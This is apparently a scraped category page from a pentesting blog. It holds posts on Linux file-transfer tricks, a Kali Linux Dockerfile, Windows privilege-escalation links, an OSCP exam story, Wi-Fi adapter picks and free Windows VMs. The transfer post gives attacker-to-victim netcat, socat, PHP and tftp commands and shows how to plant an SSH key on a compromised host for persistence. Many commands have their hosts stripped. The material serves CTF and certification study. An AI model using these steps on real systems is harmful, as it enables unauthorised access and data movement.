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Category: OS

Linux File Transfer Techniques

Digging through my pentesting notes from over the last few years, I pulled together various scrawled things on quick ways to transfer files from one place to another. Thought I’d share the reference here in case anyone finds it useful.

Note: Some of this may have been copy/pasted from various places — I don’t honestly remember. If you recognize something, let me know – I am happy to give credit where credit is due!

Simple Python HTTP Server

This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

python -m SimpleHTTPServer 9999


You can download files from that running Pything server using wget like this:



curl -O <>


Another easy way to transfer files is by using netcat.

If you can’t have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can’t do ctr-c because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc 4444 > file

You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:

nc -lvp 3333 >

And on the attacking machine we send the file like this:

nc <

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 >


Server receiving file:

server$ socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
client$ socat -u FILE:test.txt TCP:

Server sending file:

server$ socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
client$ socat -u TCP: OPEN:out.dat,creat

With php

echo "<?php file_put_contents('nameOfFile', fopen('<>', 'r')); ?>" > down2.php


If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!


On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:

$ tftp
tftp> get myfile.txt

If we can’t run it interactively, for whatever reason, we can do this trick:

tftp <<< "get shell5555.php shell5555.php"


If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the /home/user directory you can find the hidden .ssh files by typing ls -la.Then you need to do two things.

Create a new keypair

You do that with:

ssh-keygen -t rsa -C ""

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKeyEnter passphrase (empty for no passphrase):Enter same passphrase again:

This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.

Add your public key to authorized_keys

Now you copy the content of nameOfMyKey_pub.On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys

Log in

Now you should be all set to log in using your private key. Like this

ssh -i nameOfMyKey kim@


Now we can copy files to a machine using scp

# Copy a file:
scp /path/to/source/file.ext username@

# Copy a directory:
scp -r /path/to/source/dir username@

Kali Linux Dockerfile

Since recently discovering there is now an official Kali Linux docker image, I’ve been fiddling with it and tweaking my own setup to get it to how I like it for the things I use it for. I have a work version and a personal version. What follows is my personal version, used mostly for R&D, CTF challenges, and bug hunting in my free time.

My Kali Dockerfile (for Mac)

# The Kali linux base image
FROM kalilinux/kali-linux-docker

# Update all the things, then install my personal faves
RUN apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get install -y \
 cadaver \
 dirb \
 exploitdb \
 exploitdb-bin-sploits \
 git \
 gdb \
 gobuster \
 hashcat \
 hydra \
 man-db \
 medusa \
 minicom \
 nasm \
 nikto \
 nmap \
 sqlmap \
 sslscan \
 webshells \
 wpscan \

# Create known_hosts for git cloning things I want
RUN mkdir /root/.ssh
RUN touch /root/.ssh/known_hosts
# Add host keys
RUN ssh-keyscan >> /root/.ssh/known_hosts
RUN ssh-keyscan >> /root/.ssh/known_hosts

# Clone git repos
RUN git clone /opt/seclists
RUN git clone /opt/powersploit
RUN git clone /opt/hashcat
RUN git clone /opt/linenum
RUN git clone /opt/dirsearch
RUN git clone /opt/sherlock

# Other installs of things I need
RUN apt-get install -y \

RUN pip install pwntools

# Update ENV
ENV PATH=$PATH:/opt/powersploit
ENV PATH=$PATH:/opt/hashcat
ENV PATH=$PATH:/opt/dirsearch
ENV PATH=$PATH:/opt/sherlock

# Set entrypoint and working directory (Mac specific)
WORKDIR /Users/wchatham/kali/

# Expose ports 80 and 443
EXPOSE 80/tcp 443/tcp

Build it

docker build -t yourname/imagename path/to/theDockerfile 

(don’t actually put ‘Dockerfile’ in the path). Do change ‘imagename’ to something apropos, such as ‘kali’

Run it

docker run -ti -p 80:80 -p 443:443 -v /Users/yourname/Desktop:/root yourname/imagename

The above examples require you to replace ‘yourname’ with your Mac username

Indicates that we want a tty and to keep STDIN open for interactive processes

Expose the listed ports

Mount the defined folders to be shared from host to docker.

Hope that’s useful to someone!

Hat tip:

Windows Privilege Escalation (privesc) Resources

I have obtained a standard user account on Windows. Now what?

This is a common question I see people inquire about frequently on the Discord/Slack/Mattermost servers I hang out on. This includes people working on CTF exercises (Hack the Box), OSCP/PWK studies, and just pentesting in general. The answer, of course, is that you need to enumerate the system and find a way to become Admin.

The methodology for how you actually do this depends on a lot, all depending on your specific environment and circumstances.

Windows Privilege Escalation to the Rescue

Here are some useful resources on what to do next in your given situation, after you have succesfully exploited your way onto a Windows box, but before you have the system administrator role. I collected these links, snippets, and exploits during my OSCP studies, saving them in this massive OneNote notebook. Rather than letting them sit there where no one but me can access them, I thought I’d share.

Some of these get pretty detailed, and some of them have links to yet even more resources on this topic.

Have fun…this rabbit hole runs deep!

Privesc Resources

Updated 11.11.18: A new resource I came across that looks pretty awesome:


Elevating privileges by exploiting weak folder permissions

Encyclopedia of Windows Privesc (video)

Windows Privesc Fundamentals

Windows Privesc Cheatsheet

Windows Privesc Check
A script that automates the checking of common vulnerabilities that can be exploited to escalate your privileges:

Common Windows Privesc Vectors

Windows Post-Exploitation Command List

WCE and Mimikatz in Memory over Meterpreter

Windows Privesc – includes tips and more resource links, on Github

Do you have any Windows Privesc resources you think should go here? Comment below and I will add them.

OSCP Achieved – Offensive Security Certified Professional

For the past 10 months, I have been entrenched in studying to pass the OSCP exam — a goal that, one year ago, I thought was a distant dream.

What the heck is OSCP? This is from the OffSec description:

The Offensive Security Certified Professional (OSCP) is … the world’s first completely hands-on offensive information security certification. The OSCP challenges the students to prove they have a clear and practical understanding of the penetration testing process and life-cycle through an arduous twenty-four (24) hour certification exam.

An OSCP has demonstrated their ability to be presented with an unknown network, enumerate the targets within their scope, exploit them, and clearly document their results in a penetration test report.

In other words, it means you are pretty good at hacking into computers through various means.


I did 6 months of “pre-studying” by reading, researching, learning, and hacking away at vulnerable Virtual Machines offered by You may have seen some of my walk-through write-ups on this blog.

Three months ago, the Pentesting With Kali Linux (PWK) course began, which is the immersive, self-guided course offered by Offensive Security in preparation for the OSCP exam. This course consumed me, as it required a lot of time and effort to complete. If you are married and have kids, I cannot stress strongly enough the need to get their buy-in before you take this endeavor. You will not be available much during this process!

Not only do you need to get through the 375 page lessons and exercise workbook, you have to do the 8 hours of training videos that go with it. On top of that, you are given access to a virtual lab filled with 50+ computers for you to practice your hacking skills on.

The lab is designed to emulate a real-world corporation, and you are playing the role of the adversary, attempting to compromise your way into each and every machine you can find. In the end, you have to provide documentation of your efforts and successes as if you were a real-world security penetration testing professional hired to find the weaknesses in the company’s network and systems.

Needless to say, all of this takes a lot of time, effort, research, and patience. The oft-repeated mantra of the OSCP course is, “TRY HARDER!”

The Exam

This past weekend, I took the exam. The exam is a grueling 48 hour test in which you are given 5 computers that you must hack into as far as you can within the first 24 hours. The second 24 hours is for writing up your reports and documenting your efforts with detailed, step-by-step instructions and screenshots on how you did what you did.

Sleep is optional. Sustenance is highly recommended.

I opted to start the exam at 3pm Friday, based on what I had read from others who have taken the test. This gave me enough time that day to gather my thoughts, my notes, and to practice buffer overflow attacks. More importantly, it gave me a chance to nap from about 2am to 5am, which proved to be a much-needed recharge for my brain.

I hacked away for a solid 21 hours with that 3 hour nap in the middle. By the end, I had rooted 3 systems, and had a low-privilege shell on a fourth. I had enumerated the fifth system pretty well, including discovery of some valuable information. Still, I wasn’t entirely sure I had achieved the requisite 70 points (out of 100) to pass the exam.

At 3pm I went back to sleep for a few hours. I woke up about 6, then got to work on the documentation, which I completed around midnight.


All in all, my documentation consisted of:

  • All exercises from the PWK course.
  • Documentation of 10 compromised machines from the Lab. I ended up compromising a total of 25 machines, but 10 are required to be documented.
  • Documentation of the exam machines.

All of this ended up being about 230 pages long!

I submitted everything, then spent most of Sunday snoozing and worrying about whether or not I had passed. I felt like a truck had run over me, backed up over me, then ran over me again. Plus, the anticipation was terrible. Thinking that I might have to go through all of that again was not very pleasant.

I woke up this morning (Monday) to find out that they had reviewed everything, and that I had passed!

Lessons Learned

A topic of constant debate on the NetSecFocus Slack channel is whether or not people should do the Exercise and Lab documentation, which earns you 5 points on the Exam, or if they should just skip it and go right into the Labs, do the exam, and hope to get more than 70 points.

I am a shining example of why you should submit that documentation. You might need those 5 points to pass the exam, and you are doing yourself a disservice if you skip all that valuable materials in the course anyway. It really teaches you a lot even though it can get rather dry at times.


At some point soon, I will update this blog post with resources and tips for those of you thinking about doing this certification course. It was one of the hardest things I have ever done, but also one of the most rewarding.

Update: Check out this post for resources and tips!

4 External USB Wifi Adapters for Kali Linux Pentesting

If you are like me, you have been working with Kali Linux, the Linux distribution for penetration testing and ethical hacking, and have been running it as a virtual machine on your 2015 Macbook Pro. And, you have been having issues with sniffing packets because your 2015 Macbook’s built-in wifi adapter is not going into true promiscuous mode — only a limited version that doesn’t give you everything you need. Sadly, other versions of the Macbook don’t seem to have this problem at all, so you may be finding yourself in need of an additional interface.

Or, perhaps you are not like me, and the chipset driving your PC’s Wifi adapter doesn’t let you do much at all, and you just want an external USB Wifi adapter that will make it easy to use tools such as Aircrack-ng for ethical hacking jobs.

Whatever the case, I’ve done some research and will present a few options that don’t break the bank and should provide you with a quick and easy way to do all the proper packet sniffing you deserve.

TP-Link N150

The first option on this list is the $13.45 TP-Link N150 dongle. A small USB device that sports a detachable antenna, it should get the job done if you prefer portability over power. This device uses the Atheros AR9271 chipset, which is known to work smoothly in Kali Linux (and probably most other distros).

USB Rt3070

The cheapest USB adapter, at a paltry $11.99, is the generic USB Rt3070, another dongle style device that is also the smallest you will find here. With similar specs as the TP-Link device, this one is even easier to conceal, and probably won’t raise any suspicions if you have it plugged into your laptop in a crowded place. While not the most powerful device by any means, if you are near the router you want to connect to, it shouldn’t be a problem.

Alfa AWUS051NH

Taking a big step up in everything, including features, power, and profile, we have the Alfa AWUS051NH. This one has been sitting on my Amazon wishlist for quite a while, and I think it’s about time I pick it up. It even has a holster with suction cups to stick to a window, and it will pick signals up from long range.

If you are needing to physically stay away from the target you are testing, while still being able to test it, try this sucker.


Lastly, we have another Alfa device, both of which get really good reviews for Kali Linux in particular. At only $6 more than the AWUS051NH, the Alfa AWUS036NHA looks cooler and has a boost in power to let it pick up signals from even farther away. It also comes with the holster and suction cups for the windows of your vehicle, office, or home. According to its description, what sets it apart is the “High Transmitter Power of 28dBm – for Long-Rang and High Gain Wi-Fi.”


Are there others?

Have you tried any of these? What did you think? Know of any others that do a good job?

Microsoft Windows has Free Virtual Machines

Wish I had know about these earlier. Microsoft offers free Windows virtual machines for VirtualBox, VMWare, and others. You can choose from Windows 7, Windows 8, or Windows 10 (a few different flavors of each). They last 90 days before expiring, but you can snapshot them right after you install them to make it easy to reset that 90 days by rolling back to the snapshot.

Officially, these are for testing out the Edge browser, but you can also use them for whatever else 😉

Check them out here: